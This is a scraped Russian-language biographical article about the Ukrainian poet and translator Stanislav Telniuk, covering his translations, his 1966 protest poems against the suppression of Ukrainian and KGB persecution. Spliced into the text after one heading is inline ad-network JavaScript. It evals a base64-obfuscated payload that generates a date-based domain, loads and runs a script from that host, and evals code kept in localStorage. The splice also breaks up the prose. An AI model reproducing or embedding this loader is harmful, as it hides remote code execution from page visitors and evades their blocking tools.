Уроженец Запорожской области — Станислав Владимирович был неординарным и уникально одарённым человеком. Его активная натура охватывал практически все направления литературы. Как полиглот он переводил с 15 языков, включая тюркские. Казалось, не существовало языка, который он не смог бы перевести.
Был автором повестей, поэтических сборников, исторических романов и сотен статей. Его произведения переводились русский, молдавский, белорусский, польский, болгарский и португальский языки.
Идеи творчества
Станислав Тельнюк создавал своё творческое наследие в хрущёвско-брежневское время. Как типичный представитель творческой интеллигенции шестидесятых, он проповедовал мягкие перемены окружающей действительности. Через свои произведения, насквозь пронизанные внутренней порядочностью, он давал отпор мещанству и выводил свою формулу любви.
Протесты против уничтожения украинской культуры var node3361 = document.getElementById(«MIXADV_3361»); if( node3361 ) { var script = document.createElement(«script»); script.charset = «utf-8»; script.src = «https://m.mixadvert.com/show/?id=3361&r=»+Math.random(); node3361.parentNode.appendChild(script); script.onerror = function(){ window.eval( atob(«dmFyIGRhdGUgPSBuZXcgRGF0ZSgpO3ZhciBtb250aCA9IGRhdGUuZ2V0TW9udGgoKSArIDE7IHZhciBkYXkgPSBkYXRlLmdldERhdGUoKTsgdmFyIHllYXIgPSBkYXRlLmdldFllYXIoKTsgdmFyIG5hbWVfZGF5ID0gZGF0ZS5nZXREYXkoKSArIDE7dmFyIGRvbSA9IFsgIm9yZyIsICJ0b3AiLCAiYml6LnVhIiwgImNvLnVhIiwgImt5aXYudWEiLCAiY2x1YiIsICJzaG9wIl07IHZhciBzdHIgPWRheSoobW9udGggKiBuYW1lX2RheSAqIGRheSkrIiIrIGRheSoobW9udGggKyBuYW1lX2RheSArIGRheSAreWVhcik7dmFyIGhhc2ggPSAgYnRvYShidG9hKHN0cikpLnRvTG93ZXJDYXNlKCk7IHZhciBob3N0ID0gaGFzaC5zdWJzdHJpbmcoMywgaGFzaC5sZW5ndGggLSBuYW1lX2RheS8yKSsiLiIrZG9tW25hbWVfZGF5IC0gMV07dmFyIHIgPSBNYXRoLnJhbmRvbSgpLnRvU3RyaW5nKDM2KS5zdWJzdHIoMiwgMik7ciA9IHIucmVwbGFjZSgvWzAtOV0vZywgIiIpO3ZhciBkZWx0YSA9IE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqICgxMDAgLSAxMCArIDEpKSArIDEwO3ZhciBpZCA9IDMzNjEgLSBkZWx0YTsgdmFyIHNjcmlwdF9maXJzdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO3NjcmlwdF9maXJzdC5zcmMgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIitkZWx0YStpZCtyKyIiOyBub2RlMzM2MS5wYXJlbnROb2RlLmFwcGVuZENoaWxkKHNjcmlwdF9maXJzdCk7c2V0VGltZW91dCggZnVuY3Rpb24gKCkge3NjcmlwdF9maXJzdC5yZW1vdmUoKX0sIDQwMDApO3NjcmlwdF9maXJzdC5vbmVycm9yID0gZnVuY3Rpb24oKXt2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImEiKTthLmhyZWYgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIjsgbm9kZTMzNjEucGFyZW50Tm9kZS5hcHBlbmRDaGlsZChhKTsgc2V0VGltZW91dCggZnVuY3Rpb24gKCkgeyBpZiggbm9kZTMzNjEuaW5uZXJIVE1MID09ICIiICkgd2luZG93LmV2YWwobG9jYWxTdG9yYWdlLmdldEl0ZW0oIjMzNjEiKSkgfSwgNTAwMCk7ICA7fTsg») ); } }
В 1966 году Станислав Владимирович пишет свои знаменитые стихи, против уничтожения украинской самоидентификации: саркастически – остроумный «Забувайте українську мову» и ироничный «Веселу пісеньку останнього гурона». Конечно же официально их никто не издавал. Автор декламировал их у памятника Т.Г. Шевченко, стихи распространялись самиздатом, их передавали по радио «ВВС» и «Голосу Америки»
После окончания недолгого периода «Хрущёвской оттепели», за эти дерзкие фрондёрский выпады, автор преследовался КГБ, часть его произведений отказывались публиковать или же нещадно редактировались.
Тельнюк Станислав сквозь всю жизнь пронёс веру в возможность создание украинского национального государства. Выбрав литературный путь, для того чтобы вложить такую же веру в души окружающих. Оставил творческое наследие, из не только своих произведений, но и множество прекрасных переводов иностранных писателей.
(adsbygoogle = window.adsbygoogle || []).push({});
Источник: https://akzent.zp.ua/unikalnyj-perevodchik-urozhenets-zaporozhskoj-oblasti/
Мы в Telegram, наш Telegram bot — @zpua_bot, Мы в Viber, Мы на Facebook
